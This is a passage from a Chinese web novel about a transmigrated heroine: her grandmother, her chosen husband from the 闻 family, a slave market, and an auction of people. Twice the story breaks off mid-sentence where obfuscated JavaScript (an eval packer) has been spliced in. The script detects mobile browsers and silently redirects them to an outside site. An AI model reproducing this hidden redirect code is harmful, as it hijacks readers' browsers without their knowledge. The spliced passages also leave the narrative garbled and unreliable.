事情败露后娄氏被宗族除名并被关入祠堂,两个孩子也被记在了早逝得白沐名下。千里疾得知此事后急火攻心夜行八百赶回府中,不料撞上娄氏携细软潜逃。 二人争吵一番后不知为何,千里疾掏出弓来一箭射进娄氏心窝,娄氏死后千里疾没过几年也撒手人寰,彼时千里逢十五岁。 冬雪茫茫,捶的面颊生疼,千里逢望着千里撼远去背影,心中恨不得将其千刀万剐。若她当年没打翻那碗药或许此刻千里家又是另一副光景了,可他不能说也不敢说,只能暗暗地恨,像钻入沙子得毒蝎般。 母亲当年深爱父亲,若非千里冰封那老妇处处压制父亲,他又怎会出此下策? 这些事千里逢记得一清二楚,那年他不过十一便已知晓其中利害,若非事情败露他又怎会父母双亡!甚至连这偌大的千里家也只能拱手让人,简直荒唐! 千里逢一口银牙咬的咯吱作响,身旁小厮深知自家少爷脾性,过了好一会儿看其面色缓和才敢上前搀扶道:“少爷,您怎么样……” “无妨,让你查的事查到了吗。”千里逢抚了抚被打的那半张脸,火辣辣的。 “查、查到了。玉小姐今日在京。” “好。” 千里逢面色阴冷,只在听到小厮后半句时缓和了些许,他看了眼那道前往祥慈堂的脚印后便默默转头离开。 家主之位他要,并且他还要借着这层身份一步一步往上爬,玉家作为四家之首是必不可少的助力,他势在必得。 千里撼,我们走着瞧。 5. 暖雪再临 祥慈堂外,千里撼站定刚要叩门顿感背后一凉。 回头环视,空无一人,真不知是打哪来的一阵风。她甩甩头推开门道:“姥姥,我回来了!” 千里冰封闻声喜笑颜开,被何妈妈从躺椅上扶起,道:“小琼林回来啦,快来让姥姥看看!” 千里撼快步过去扶住千里冰封,道:“姥姥来看吧,我可完完整整地回来了。” “好好好!你当年一声不响的走了,甭提我有多担心了,如今只要平安归来就好。” 千里冰封年事已高又行动不便,可当年她就是拖着这么一副身子将千里撼一点点拉扯大,也正因如此千里撼才对这书中世界多了一丝怜悯。 “我就是想去外头转转,毕竟以后做了家主就没机会了。”,说着千里撼将千里冰封扶到软椅上。 “但你一回来就带了这么大一桩婚事,”千里冰封接过茶碗抿了口道:“我还真是好奇你究竟是怎么求陛下同意的。” “不是我让她同意,是她自己算了一笔账就同意了。” “嗯?什么账。” “大魏有四根柱子,千里玉闻陈。如今四根柱子断了一根朽了一根,唯有千里玉两家彼此制衡。陛下即位之初玉家出兵鼎力相助,这是大功一件,如今边疆动乱玉家率兵镇压,又是大功一件。我朝历来赏罚分明,可惜天下安定时玉家却如日中天,换谁都会吃不下睡不着。” “陈家传承百年,功勋无数,叫陛下封无可封,赐无可赐。如今局面看似突然,实则早有预兆啊。” 千里撼点点头,道:“闻家世代行医,难有出头之日,所以陛下放心。我千里家多是言官宰相,又与皇家面上沾亲带故,所以陛下用着也顺手。如今陈家既断,唯有玉家一家心腹大患。” “一年前她给吕雪两家指婚,看似奖赏意在分解。只可惜她低估了玉家的能耐,竟然硬生生从吕家这么个书香门第里培养出个校尉来。”,千里冰封说完没忍住笑了起来。 “千里玉两家早有怨结,陛下原意使两家联姻,故伎重施,驱虎吞狼。谁知冒出吕家这档子事,若真如她所愿倒是一箭双雕,只可惜此招太险,吕家就是例子。倘若我们两家冰释前嫌强强联手,那她这龙椅,可真就坐不稳了。” 千里冰封摇摇头道:“瘦死的骆驼比马大,从前三足鼎立的牵制之法不好用了,闻家的没落是必然,但闻家永远不会倒。既然陛下认为千里玉两家不和,比起分裂玉家倒不如壮大千里家,使两家抗衡以稳定朝堂。” “就是这样。我什么都没说,是陛下自己想通了。”,千里撼捏一瓣橘子送入千里冰封口中。 “大国难治啊,哪怕‘天命至尊’也斩不断朝堂上的千丝万缕,”千里冰封抚了抚那条受伤的右腿感慨道:她为江山稳固,我为宗族昌盛,各自为谋,就看谁能笑到最后了。” 在原著里中,千里冰封个早逝的镶边人物。 起初千里撼并未将其放在眼里,可这些年来她的爱护与教养早已改变千里撼的内心,也正是如此她才有机会挖掘出这个古稀老人藏在岁月之下的野心。 千里撼无奈道:“姥姥你现在首要任务是养好身体,其他都不重要。” 千里冰封握住千里撼的手,语重心长道:“琼林琼林,美玉之林。我千里恒不知上辈子做了什么好事竟得来你这样一个玲珑孩儿。有你在,这千里家我才放心。” “姥姥你净说傻话,我还小呢,你想放心可还早着。再者说你就不关心我这婚事吗,我可是两年后就要成亲了啊!” “哈哈哈哈!你真当姥姥我不谙世事吗,他闻家有几条狗我都给你调查清楚了!”,说罢千里冰封唤何妈妈拿出一个折子来。 千里撼接过后随意翻看两页。 这古代的画法和现代实在差太多,所有人都长一个模样,看了也是白看。 千里冰封瞧出她的不耐烦,于是道:“闻家女儿四位,男丁一十六,其中有六人在朝为官,余下皆入太医院,除一位十三郎。” “这十三郎怎的无所事事?” “听闻十三郎自幼体弱,貌似妖邪,白发白眉,所以始终禁足家中不见外人。” 白发白眉?这不就是现在的白化病么,古人不清楚这样的病只当是见了妖怪,只能说这十三郎实惨。 千里撼叹息道:“说了这么多也见不到真人,这怎么选嘛。” 千里冰封早就料到她这一出,却还是忍不住捧腹笑道:“我就知道你这丫头鬼着呢!放心吧,闻家那边我早已疏通好了,你明日便去瞧瞧吧。” 千里撼见目的达成,一把站起来抱住千里冰封亲了口,道:“谢谢姥姥!” 翌日卯时千里撼准时就位。 闻家世代行医,据说是开国时千里家请来的谪仙后代,因与开国皇帝白虹赌约而永居人间。 千里撼起初并不相信,因为这设定很扯淡。 据说开国时,太祖皇帝白虹请来千里闻玉陈四家助力,开疆扩土战胜妖邪建立大魏,千里一脉为狐仙,闻家一脉为谪仙,玉家为兵神后代,陈家则是凶兽后代。 不过这都不重要,重要的是闻家人均玉貌梵容,不愧为谪仙后代。 激动的心颤抖的手,千里撼双眼放光于闻府前站立,随后被其门前玉白泽所吸引,不由感叹道:“不愧是杏林世家,门外放的东西都不一样。” 一门童开门迎道:“可是金安郡主?” “正是。” “快快请进!” 千里撼一路走一路看,感叹闻家的确没落了。 好歹也是四大家族之一,如今只剩下空荡园林和满院桑桂,其萧条之景不免使人落寞,全府上下恐只有那金匮高楼人满为患了。 一鹤发白髯的老者迎面而来,千里撼定睛一看抬手作揖道:“晚辈千里撼,见过闻医使。” 老者摆了摆手道:“郡主光临,老朽实在受宠若惊。起初听闻郡主求陛下赐婚还以为是坊间谣传,直到圣旨降下才如梦初醒,看来郡主此番前来是要摒弃宿怨了。” 老登就是矫情。什么狗屁宿怨,不就是当年千里疾骂过他是庸医么。 千里撼露出笑容微微躬身道:“医使这是说的什么话,晚辈何曾与您老有过宿怨?如今两家不过局势所迫,您医者仁心,想必也不愿朱雀台旧事重现吧。更何况闻家多年来衰而不亡,若有了千里家这一剂灵药保不齐便能枯木逢春,一举两得,医使何乐而不为?” “哈哈哈哈,”那老头子突然捋着胡子笑了起来,道:“好好好!不愧为千里家长女,是个能掌家的样子,我的孩子交到你手上也算是好归宿。不必叫我医使叫我闻老就行,随我来吧!” “晚辈知晓。” 千里撼面上和煦心中难免嘀咕:这老头儿怎么阴晴不定的? 闻老带着千里撼来到明德堂,她刚一踏进去就被惊到了,里面一共站了六名男子两名女子排成一排,似乎都在等她来。 闻家这么大方吗,还是说这些人她都要娶?千里撼站在门口迟迟不敢动,闻老见状催促道:“郡主等什么呢,快请进来啊!” “呃……好。”千里撼认命入座,对上这一排人的赤裸目光不由得开始肾痛。 “见过金安郡主!!” 一阵铿锵有力的问好声差点把千里撼从椅子上震下来。 她罪恶的目光轻轻一滑便落在一对巨大的胸肌前,往上一移却是张娃娃脸,好炸裂地搭配,好劲爆的身材。千里撼皱了皱眉僵硬开口道:“好好好,我也见过你们。” 闻老疑惑道:“郡主是?” “呃没事,诸位免礼吧,”她有些不知所措,挠挠头道:“这个,闻老您这些孩子是……” 闻老爽朗一笑道:“哈哈,都是给郡主您准备的!” 千里撼一听心死了,恨不得原地嘎一下抽过去。 原以为是那种帝王选妃的场景,结果搞了个大魏创造营出来,还是相亲版本,搁谁谁不崩溃。 闻老爽朗道:“来,谁毛遂自荐一下!” 这糟老头子倒是玩儿开心了,千里撼幽怨的看了看天空最后认命的闭上双眼。 “我来!” 千里撼闻声转头,结果视线再次不可控制的落到那对大胸上。 她粗略的估计了一下,感觉得有E。 “我叫闻明,是闻家三郎,今年二十有四,还在考取功名。不仅如此我还精通养生,日后可为郡主您调理身体,变得和我一样强壮!”,说罢他举起双臂就开始展示起那比头还要大的肱二头肌,并随机变换着健美动作。 千里撼身躯默默后移,生怕这闻三郎下一秒就来段儿“本草纲目”。她咽了口唾沫默默靠近闻老悄声道:“令郎就没想过换条路吗?” “什么路?” “武状元。” 闻老以为千里撼在打趣他,听完这话捧腹大笑,丝毫没注意到她真挚的眼神。 紧接着又来一个。 “闻未见过郡主,我是闻家六郎,今年二十二岁,在宫中做太医,最擅妇科。”,此人身形消瘦,若风中细柳,说罢还面含春色地瞧了千里撼一眼,吓得她肝儿颤。 千里撼见此急忙道:“好好 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在经过视觉与感官的连番轰炸后,千里撼甚至心疼起大厂HR和选秀面试官,这个工作真是只适合有猎奇心理的人做。 闻府依水而建,层次鲜明,布局精巧。千里撼借方便之由逃出生天,那间屋子她实在不愿进去第二次,简直乌烟瘴气。 秉承着逃得越远越好的心理,千里撼跨过鸳鸯桥直达误曲廊,不想竟在那里遇见了一位注定重逢的“故人”。 腊月深冬,廊外金桂静寂,大雪掩藏生机,唯独留下一处踪迹。 深深的脚印引诱千里撼向前,越过无数枯槁,停留在一棵结满霜花的参天巨树面前,而除她之外还有一人。 那人一袭白衣,手持素伞,雪花格外不忍触碰他。 千里撼大步跨出长廊,缓缓走近,那人则像是等了她许久般,终于舍得抬起伞下一角,露出庐山真面。 白发紫瞳,霞姿月韵。 千里撼心下一惊,感到阵阵暖流从四肢上涌,熟悉的味道勾起过往画面。 她闭上眼想了想,开口道:“我见过你。” 那人静若止水,轻轻点头道:“是。” 他在等她的回答。 几乎脱口而出,千里撼道:“西城空山道,你是那个戴帷帽的人。” “是。” 他满意的笑了,但还有些遗憾,垂眸喃喃道:“但还有……” 可惜还不是时候。 日光下,那人睫毛闪烁,伞下露出一截白发照成金色,千里撼无意中放缓呼吸了,生怕是遇到了一场梦。 世界展现出不真实的一面,像毒。 脆弱地雪为了证明自己,下起来一发不可收拾,面对日光负隅顽抗,死不服输。坚硬的心裂开一道缝隙,千里撼看着眼前人竟有了幻想,她突然不太想孤身一人了。 “郡主!郡主!您去哪啦?” 闻老自远处带人找来,远远看到树下的千里撼后,喜笑颜开道:“可找到您了,这外面冰天雪地的咱们快回屋吧,还有几个孩子没给郡主展示自己呢!” 千里撼并未理会,只是继续注视那人。 闻老敏锐的察觉到了什么,急忙介绍道:“这个是我家十三郎,闻武,字仙狂。他从小异于常人,身体虚弱不能见光,所以一直养在家中不便见人。” “就他了。” “什……什么?” 他一时没明白千里撼的意思。 千里撼重复道:“就他了。” “啊?” 这下轮到闻老发懵了,他精心准备那么多孩子,结果竟是被他一开始就筛掉的老十三入选了? “这这这,郡主可要再想一想,十三郎他……” “我说,就他了。” 这下闻老终于低头闭嘴,接受了这个离奇的事实。 千里撼并非强取豪夺之人,她走向闻武,道:“我向天地发誓会待你好,所以我只问一遍,你可愿意跟着我?” 他唇角含笑,将伞往千里撼这边倾斜几分,另一只手越过袖袍悄悄勾住她的小指,像在哄人,轻声道:“一言为定。” 一股冷冽香味挤入她的鼻腔,二人之间距离终于缩短,他笑意更深,像是得偿所愿。 千里撼素来雷厉风行,临走前送给闻武一块玉佩和亲手所写的婚书,又昭告闻府上下,最后带着他的名字回到了相府。 两年之后,这个名字将和千里撼一起出现在圣旨上。 6. 琴筝绕弦 千里撼刚刚得闲,没过两天安生日子突然收到钱双双飞鸽传书说陈氏旧事再起。 “因果循环,还是躲不过蝴蝶效应啊。” 她晃了晃脑袋,轻声叹息,片刻后叫上佩儿直达大魏“奴隶市场”寻找关键人物。 “走路过路过别错过,您来看看我家这奴隶!这身材、这肌肉、这牙口,包您带回去比驴都扛造!” “客官您一看就不是普通人,我家这可是有昆仑奴!都是好品种,你来瞧一瞧,买一赠一呐!” “哎呦客官,我家最便宜!您看这个,贵族后代,长得也好!买回去以后保管好生养!” “贵族有个屁用!客官您来看看我家这个,将军后代啊!您买回去看家护院可比那雇来的强多了!” 各式各样的人被关在笼中展示,在珍马行内他们也不过是贩卖私奴的散户而已,真正的重头戏还没开始。 千里撼一路走一路瞧,虽说这些散户手里的货质量都一般,但也有概率开除史诗级盲盒,比如男主千里逢就曾在此处买回去个北疆王。 原书中大致情况应该是千里逢参加珍马行拍卖,然后路过发现一个蓬头垢面的疯子喘着粗气,千里逢看着新奇就买回来了。 她脑中回忆着剧情,一转头也看到个蓬头垢面的疯子,那人被手臂粗细的铁链缠了一圈又一圈,身上被打的没有一块好肉,哪怕这样他依旧活着,喘着粗气,全身发烫。 “对对,就是这样!” 千里撼一拍手,指着那个笼子刚想说话,结果突然反应过来她现在貌似正在经历男主剧情。 等等,那么此刻被困笼中的岂不就是北疆战败王储之后,同时也是书中未来的北疆王——斛瑟罗凛。 我了个天大的好事! 但为什么是她遇到,难不成是因为赶得巧? 算了,没时间思考了,这种顶级外挂她必拿下! “我买他了。” 书中,千里逢阴差阳错将他买下,他便为千里逢卖命,不过后来二人反目,斛瑟罗凛返回北疆夺回王权成为北疆王。 虽然此次前来的目的并不是他,但这种顶级外挂,不要白不要啊。 有便宜不占是王八蛋,更何况还是千里逢的便宜。 她往老板手里丢了锭金子,便得到了这个“庞然大物”,千里撼伸手探了探发现他有些发热,于是命佩儿将其送去医馆。 佩儿点了点头,一把将其扛起消失在人群之中,临走前斛瑟罗凛终于舍得抬起眼皮看了一眼千里撼。 送走斛瑟罗凛后千里撼直接踏上二楼拍卖台,她今日的目标并非北疆王,而是原书男二——陈长行。 同时,这也是原著重要节点“陈氏旧案”的关键人物。 “姑娘,可否拼一间?” 千里撼闻言抬头。 烛影闪烁,彩帘翻滚,室内静寂无声,唯茶香暗涌。那人一袭金缕素衣,从容淡然,昏黄的光照在她惨白的脸上,真应了书中那句判词——孤灯照雪影,寒江困游鱼。 来人正是玉雪倾。 千里撼怔愣片刻,反应过来后有些怅然。玉雪倾看起来有些疲惫,是源自于心地那种。 她向来是个坚强的女子,也很倔强,不爱谈论自己的事,但偶尔也会透出一点脆弱和愁思,就像现在这样。 但玉雪倾不喜欢别人看见脆弱。 思及此处,千里撼扯出个笑容,熟稔道:“真是有缘啊玉都尉,快请坐吧。” “原来是郡主,真是太有缘了。叫我雪倾就好。”玉雪倾闻声抬头,看到屋内人是千里撼顿时心下一惊,但很快又恢复平静。 千里撼同她有一搭没一搭的聊起来,似想起什么般,瞧了瞧门牌——庚间。 当下这段剧情应是原著男女主进入一间拍卖室,感情升温的阶段,不过玉雪倾怎会进入庚间? 楼下,钱双双突然望向千里撼,看着她坚定的眼神,得逞的笑容与高高竖起的大拇指,这下千里撼明白了。 钱双双身为整个重明馆老板必然知晓宾客姓名,更何况她还是作者,想必是她故意将男女主分开的。 仔细一想原著中对于男女主这次相见并未过多描述,只是俗套的才子佳人钟情而已。 但若是其它地方倒也罢了,这里可是珍马行,一个光订位子就要提前一个月甚至有价无市的地方,无论原著再怎么粉饰,但玉雪倾来此绝不可能只为谈情说爱。 千里撼长驱直入,问道:“玉都尉此番前来是为何人啊?” 她似有心事,略一沉吟道:“为一旧友。” “郡主呢?” 千里撼在这可没什么旧友,她思虑片刻,义正言辞道:“为了大魏的将来。” 多么冠冕堂皇的理由啊,千里撼自知成功把天聊死了。玉雪倾闻言抿了抿唇想不通千里撼话中深意,只得微微一笑等待珍马行点灯。 今日来客格外多,想必也和陈氏族人突然出现有关。 大魏流传一句话——得陈氏者可撼天下。这种极致的赞美无异于诅咒,陈氏也正是因为这句话才被当朝皇帝白笑孔忌惮,落得如此下场。 一楼清场,二楼点灯。 而这二楼所拍的,是“人”。正所谓珍宝易得而良骑难有,珍马行不过借一“马”字隐喻那些流落在外的贤才而已。 这些人中有因罪被株的王公贵族,也有在流放路上被秘密换回的大人物,将军谋士更是屡见不鲜,运气好没准儿还能捡到个番邦帝王之类的。买回去后改头换面便可继续为人所用,前提是能驯服。 这一块平时都归钱双双管,在原著中此处简直是块宝地,无限刷新各路英雄。千里逢就是在这块地方买回去一堆外挂,跟进货一样。 千里撼抓了把瓜子边磕边琢磨,剧情整体变化太大,她也不敢轻举妄动。 再者,也要考虑玉雪倾。 她早就打算好要带玉雪倾脱离苦海。从前看书时她最喜欢的就是女主玉雪倾,如今那人就坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292876|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她身侧,这种感觉无异于“追星成功”。 手心的瓜子渐渐不香了,千里撼转动眼珠朝玉雪倾所在方向瞄了一眼又一眼,最后玉雪倾实在忍不住道:“郡主,可有什么事吗?” “不不不,没有。”千里撼当然感受不到自己的目光有多炽热,但在玉雪倾眼里千里撼则是在审视自己,毕竟身旁坐的是当朝郡主,又是千里家下一任家主,举足轻重的位置怎能不多心? “但其实,我还是想问一句,”千里撼小心翼翼试探道:“玉都尉有喜欢的人吗?” “什么?” 这句话像雪球般砸蒙了玉雪倾,大魏之中嫁娶自由,可她满打满算也就只和金安郡主见了两面,这话到底是从何问起? 玉雪倾一张玉面似要裂开般,满脸为难欲言又止道:“还没有,但郡主应该已有婚约吧。” 千里撼一听这话顿时心落到肚子里,只要没喜欢的人就好,不喜欢千里逢那就更好了。 正在她感叹一切还来得及时,突然对上玉雪倾那五味杂陈的眼神,这才反应过来不对,慌忙否认道:“玉都尉千万不要多想,我不过好奇而已,并无它意。” “无妨的,”玉雪倾抿唇一笑,解释道:“我当初还在想是什么奇女子竟如此大胆,后来知晓郡主身份,又觉得合情合理。” 二人说说笑笑,距离渐渐拉近了许多。千里撼发现玉雪倾和她想的类似但不同,原著里玉雪倾是个铁血将军但又谦逊善良,待人温和有礼。 可如今一见千里撼明显感觉到的不是温和而是距离感,那颗强烈的,拒人于千里之外的内心,以及为了生存而包裹着的温和,想和在雨水里砸下的冰雹。 这样应该也不算OOC,不过管它呢。 主角就该特立独行,她越这样千里撼就越开心,因为在千里撼心中玉雪倾就不可能是个温柔傻瓜,毕竟鬼门关都走过几遭了,要是真的温良也就不会选择去做将军。 千里撼想着,兀自低笑起来。 然而这一幕落在任何人眼里都十分诡异,千里撼长相英气,浓眉大眼,严肃时看起来生人勿近,有时就连浅笑也有股淡淡的威慑力。 试问这样一张脸,藏在阴影中暗暗低笑,有几个人能不害怕? 玉雪倾也不例外。 坊间早有传闻,说金安郡主性格乖戾喜怒无常,是个顶难对付的人物。可她并不这么觉得,许是初见时被其出手解围的缘故,面对这样古怪的人玉雪倾总能感到亲近,像是遇到了同类。 丝竹声起,全场亮灯,骤然明亮的世界让许多藏匿其中的身影都显现出来。 千里撼扫了一圈,余光瞥见一道十分惹人厌的身影,那人青衣白裘款款登上二楼,见此她一把拉上隔间帘子,眼不见为净。 身旁玉雪倾将其此举收入眼中,透过缝中瞄到千里逢正在上楼,她虽不清楚二人之间关系如何,但这一行为也足够说明许多了。 看来千里家没有姐弟,只有家主和下属。 7. 重结来生愿 钱双双准时现身,于子时亲临珍马行,主持开场仪式,身后还跟着一个怀抱琵琶的花魁公子。 此处虽是千里撼一手出资打造,但明面上的老板却是钱双双,知晓此处为千里家产业之人更是少之又少。 人的畏惧大多来源于未知,钱双双头戴红纱出场,俨然一副异域模样,关于她的传言漫天飞舞,有些比希腊神话还扯淡。 说她是先帝遗孤的,说她是塞外贵族的,甚至还有些旷世奇才说她是天外来客,不过这也确实没说错。 穿越而来嘛,确实算天外来客。 五花八门的各色表演调动着众人情绪,吸引全场目光,而此时,珍马行大门悄悄落锁。 四道大门里外设有数百人看守,其余五道暗门也设下机关。 归根结底是“地下交易”,不小心点儿又怎么行,毕竟从前白笑孔真的来“微服私访”过。 小心驶得万年船,当年重明馆因风声太盛传到了白笑孔耳朵里,本以为她会一笑了之,哪承想她竟多疑至此,秘赴珍马行一探究竟。 千里撼得此消息紧急换了一堆假货掩人耳目,里里外外拉着所有人演了一场“故弄玄虚”的戏码才叫白笑孔放心离开。 经此一事,千里撼便学会了夹着尾巴做人,硬生生挖空了一座山来藏人,整座珍马行也跟着翻新,从原有的四层加到了六层,不过是上下各加了一层。 毕竟死里逃生,自那之后千里撼又设下许多规矩。 二楼及以上拍卖只收黄金,现付现结。 “拍品”中奇人不在少数,因此,拍卖时一楼需全部清场作厅。 二楼则共有从甲到癸共十个隔间,其中每个隔间可坐两人,一玄一素。 这番改动,严进严出,虽损失部分客流但也进行了“提纯”,更排除了许多潜在威胁。 但其实总体规则和现代竞拍差不多。 灵丹妙药与传世珍宝件件游过,三件拍品后二楼换着花样儿的上美酒来,但凡叫得出名字的酒,不管多贵,全部免费畅饮。 千里撼浅酌几口,不自觉拱了下鼻子,酒香灌满整个珍马行,在座众人哪怕不醉也要被这浓香微醺。 而这正是她想要的,不上头又能舍得砸钱呢? 真正的拍卖才刚刚开始——由各个花魁担任拍卖师的“豪杰拍卖”。 玉阶台上,钱双双身后那位花魁公子怀抱琵琶颔首端坐,就在方才,钱双双拍出了他的一首琵琶曲。 “乙间玄客出价黄金四十两!诸位还有要加价的吗,戊间玄客要加吗?” “好!戊间玄客黄金六十两!诸位还有人要加吗?” “乙间玄客八十两!” “还有人要加价吗?”,钱双双一遍遍叫价道。 见双方僵持不下,钱双双打算添一把柴,推销道:“满秀遗公子这首《龙山雪》今日可是头一次弹,诸位只晓得他那首《乱朱紫》天下一绝,却不知这《龙山雪》才是旷古佳音啊,我曾有幸听了几个音节,当真是非同凡响!” “黄金一百两!” 此言一出那乙间玄客得小厮便举牌加价,见此众人皆向其行注目礼。 满秀遗的确名动京城也一曲难求,但花费一百两去买一支曲子多少叫人有些琢磨不透了。 珍马行是个极有分寸的地方,该透风的地方透风该闭嘴的时候闭嘴,大魏之中多少王公贵族走进珍马行一掷千金,为的就是扬名,后来人争相效仿也不过是想在这世上留下痕迹罢了。 况且,如今的世道,别说琴曲歌赋,哪怕诗词文章也没几个人理会,大家都想及时行乐。 再多金银财宝堆砌也不过是为了凑热闹,想必那个戊间玄客也是如此。 定槌重重落下,钱双双才不管那些,她只知道一百两黄金到手了。她高声恭喜道:“恭喜乙间玄客,以黄金一百两拍得满秀遗公子的《龙山雪》!” 按照往日流程这位拍得者该露面感谢一番了,只是当众人齐齐望向戊间等那人亮相时门前珠帘却一动不动,就好像真的是为这一曲而来。 最后竟是小厮出面谢礼。 众人泛起嘀咕,态度转变的极快,看向戊间的目光也从感叹与嘲讽转为欣赏与猜疑,就像有风刮过。 满秀遗双目垂地并不在意这些,只在定锤落下后缓缓抬头望向戊间玄客,轻点头颅以示感谢。 隔着帘子他看不清那人,但这世上能毫掷千金买他一曲的没几个,满秀遗心知肚明。 琵琶是一种越抱越轻的东西,它不像孩子,但和人一样会老。满绣遗几乎已经和这把琵琶融为一体,他抚上琴弦,终于露出笑容。 一根极长的发簪若柳枝般将他满头乌发束起,松花绿衫白玉环佩,珍马行满室富贵独他不染,唯那乌木琵琶是他心头所爱。 戊间门前,珠帘轻摆,一语不发。 满秀遗终于弹起那首价值百金的《龙山雪》,空旷而孤寂。 “真是赚到了。”,玉雪倾喃喃道。 千里撼:“怎么说?” “这满秀遗乃是前朝长公主白锦绣的小儿子,据说三岁通音律,五岁诵乐书,少时泛舟游曾靠一曲《湖心雪》唤来百鸟盘桓不去,只可惜在白锦绣去世后这首曲子便成了绝唱。” 听她这么一说千里撼的确记起这个人物了。 白锦绣在上一代“皇位争夺战”中遗憾落败,事后莫名身亡,白笑孔将其亲眷抄家流放,毫不顾手足之情,仿佛白锦绣与她是生死仇敌,殊不知她所谓白锦绣的至亲也包括她自己。 皇权之下无新事,无非是换一拨人“经典重现”罢了。千里撼倒不在乎这些,她看得很开,当初换下满秀遗纯粹是看他年纪小太可怜,恰好自己也想听琵琶了。 千里撼道:“这也是无可奈何之事,覆巢之下无完卵。十年沧海桑田,满秀遗正因为弹不出《湖心雪》才是满秀遗,这一点他应当比谁都明白。” “指法僵固琴心消,前尘环扫百愁浇。弹得是什么已经不重要了,人早被蛀空了。” 玉雪倾说完,眼眸低垂,陷入深思。 她有种说不出的伤感与忧愁,但在这个时候的玉雪倾不该有这些。 哪怕只是一瞬间的神情,但还是被千里撼察觉了,她的余光紧紧锁定玉雪倾,身体却一动不动。 她知道以后的事,也知道玉雪倾这一生的剧情,她既是大魏众生之一,又是能撬动天地的支点。 大魏和这世上所有史书同样,无非是穷奢极欲之后蛛丝结雕梁。千里撼是个十分自知的人,她不会高估自己,如果遇见危险大多数时候她最先想到的一定是自保。 但玉雪倾不太一样。 她高风亮节,心系百姓,事关天下或一人于她而言毫无差别,皆会全力以赴。千里撼正是被这一切深深吸引。 作为规则之外的看客千里撼明知不该插手,但又明知故行。这样珠玉般的人,波涛似的心,她实在不懂玉雪倾是怎么会被困深宫郁郁而终的。 她就该杀出去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292877|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >用刀劈斧砍,把皇权捻个稀碎。 什么狗屁“天下太平”,不过是在战争中间放了块白布粉饰太平,哄骗双方各退一步,实则谁都不会动。 这招屡试不爽;在治国理政,在公主出嫁;在家族联合,在小姐联姻;在两姓之好,在女子出阁。 说到底就是拿一个“善”字出来,将上头那几条横连起来捂住底下的嘴,又扣了顶高高的帽子压住,这样漂漂亮亮的一打扮就会发现什么仁义礼智信的装饰都可以往上挂,最后再蒙住双眼,这下所有人都会忘记这其实是桩贩人的买卖。 千里撼冷笑一声,和在琵琶里,细不可闻。 但玉雪倾听到了,她看向千里撼,那双眼似夜晚中的狼目,仿佛只需一瞬便能穿透她心中所想。 可面对这样的眼神她并未感到危险,恰如怒目金刚,玉雪倾轻易读懂了千里撼掩藏在冷血之下的悲悯。 琵琶声停,满秀遗缓缓退去,紧接着又上来第二位花魁娘子卖琴曲,如此十二次后拍卖正式开始。 钱双双登台暖场后将定槌交给一位娘子,临走前往千里撼那边瞧了一眼。 “下面拍卖的这位乃名将之后,护国将军之子,诸位可以出价了!”,孙娘子声音嘹亮,话音一落便有几间客人开始叫价,众人等了一晚终于等到这一环节,早已急不可耐,叫起价来也愈发狠。 经过一番角逐后孙娘子落槌道:“恭喜癸间素客,以黄金一百五十两拍得前朝护国将军王奕三子王叔用!” 玉雪倾见王叔用被像物件般交易,心中空荡荡的,感觉像在照镜子。她道:“想不到王将军之子仅值一百五十两,想当年他率领八千兵马对阵东蛮两万兵夺回赤枫关,何止一百五十两。” “名臣朝中死,战者马革尸。王老将军熟读兵法可退三军,但他的兵书上却没写为什么他拼命守护的大魏白家会骨肉相残。说到底,不过是一‘权’字而已。”,千里撼说罢,扭过头去不再看玉阶台。 玉雪倾道:“君臣一梦,今古空名。当年的王将军比如今的四大家族不遑多让,如今看来,所谓荣华富贵只不过是笑话罢了。” “四大家族么……应当只剩三家了吧。” 玉雪倾双眉微蹙,眼底流出淡淡哀伤,道:“依郡主所见,三家真就比四家更好吗。” “卧榻之侧岂容他人鼾睡。陈氏有没有错不重要,大魏有几家也不重要,重要的是看‘她’怎么想,”千里撼直视玉雪倾道:“匹夫无罪,怀璧其罪,为君效力者最忌无欲无求。” 玉雪倾:“那郡主以为,国之四柱变成三足鼎立,往后还会不会再变呢。” “事在人为。” 玉雪倾双眸一闪,有些话不必多说。 如今三家是一条绳上的蚂蚱,看似错综复杂实则命运相仿。千里撼有这颗心也在玉雪倾意料之内,只不过她没想到身为郡主的千里撼会如此直接。 玉雪倾心中明了,豁然开朗,拿起酒杯一饮而尽,畅快道:“我也这么觉得。” 杯中美酒温热,她举杯道:“今日能够有幸与郡主相交,实乃我之幸事。” 千里撼赌对了,玉雪倾早有谋逆之心。她这番话字字都踩在玉雪倾的心坎上,二人达成共识。 如果这个世界注定要有改变,那么怎么变,她千里撼要说了算。 “雪倾不必多礼,叫我琼林就好。” 对上玉雪倾充满野心的眼神千里撼顿时受到了极大的鼓舞,因为只要有了玉雪倾,她就已经赢一半了。 8. 龙蛇之变 “下面这位可来头不小,诸位请看!”,孙娘子这一句话吊足了众人胃口,紧接着一枚扳指被她拿在手中展示。 片刻后孙娘子五指合上,大手一挥,高声道:“诸位!可以出价了。” 没有一句废话,仅凭一个扳指就让全场轰动。 各个雅间不约而同开始竞价,就连始终沉着得玉雪倾也紧张起来,不过她似乎并不急迫,只捏着酒盏听价。 千里撼见状朝楼下屏风后的钱双双看了过去,钱双双对上她的视线使了个眼色便离去,千里撼胸中了然,大咧咧放下酒盏也看起下方局势。 “己间素客黄金二十四万两!丙间素客二十六万两!甲间玄客三十万两!!” 